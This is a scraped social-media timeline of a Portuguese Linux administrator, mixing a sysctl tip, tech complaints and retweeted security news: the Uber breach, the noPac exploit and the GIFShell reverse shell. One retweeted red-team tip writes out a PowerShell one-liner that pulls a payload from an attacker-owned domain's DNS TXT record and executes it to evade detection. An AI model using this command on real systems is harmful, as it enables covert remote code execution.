Carlos Mogas da Silva @r3pek@r3pek.org
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Joined Jan 2021
Carlos Mogas da Silva
boosted
```sh
# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.eno1.rp_filter = 1
net.ipv4.conf.eno2.rp_filter = 1
# /lib/systemd/systemd-sysctl <(echo 'net.ipv4.conf.*.rp_filter=2')
# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2
net.ipv4.conf.eno1.rp_filter = 2
net.ipv4.conf.eno2.rp_filter = 2
```
1) You don't need grep to filter the output of sysctl
2) systemd-sysctl can use wildcards!
Carlos Mogas da Silva
boosted
Há vários meses que as operadoras de telecomunicações têm vindo a adiar a entrada em vigor de uma taxa de 5€/mês aos seus clientes pelo acesso à rede 5G.
Estarias disposto a pagar?
Google is down? Youtube is down? Maybe you're a #malwarebytes user 😉
https://www.theregister.com/2022/09/21/malwarebytes_blocks_google_domains/
also, i miss the old live stuff. this pre-recorded presentations don't have the same feel and emotion
is #nvidia high or something? those MSRPs are insane! #geforcebeyond #geforce
oh... se calhar já era hora de alterar isto na página da TAP #TAPLeak
RT @vxunderground
Update: A Threat Actor claims to have completely compromised Uber - they have posted screenshots of their AWS instance, HackerOne administration panel, and more.
They are openly taunting and mocking @Uber.
RT @aszx87410
This writeup by @gokuKaioKen_ is very well-organized and detail-oriented, if you still don't get every details in the last Intigriti XSS challenge, you should definitely take a look!
noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User
https://www.kitploit.com/2022/09/nopac-exploiting-cve-2021-42278-and-cve.html
RT @BleepinComputer
GIFShell attack creates reverse shell using Microsoft Teams GIFs - @LawrenceAbrams
https://www.bleepingcomputer.com/news/security/gifshell-attack-creates-reverse-shell-using-microsoft-teams-gifs/
Facebook is so dumb, that I can't even comment on my own page as myself. 🤬🤬🤬🤬
RIP the Queen... 👑
Carlos Mogas da Silva
boosted
Dark Web **não é** TOR
RT @Alh4zr3d
Sexy tip for your red team ops: avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with your payload at one of your (unburned) domains and do this: "powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]"
😩😖😩😖😩🤕🤕
---
RT @TiagoAlbuq74
Quem é?
https://twitter.com/TiagoAlbuq74/status/1565357006357237762
Meh... Could be better. But not that bad for country side #5g #speedtest
- Homepage
- https://www.r3pek.org
- GNU/Linux
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Fedora | Gnome | CentOS | RHEL | Kubernetes
Admin
Joined Jan 2021
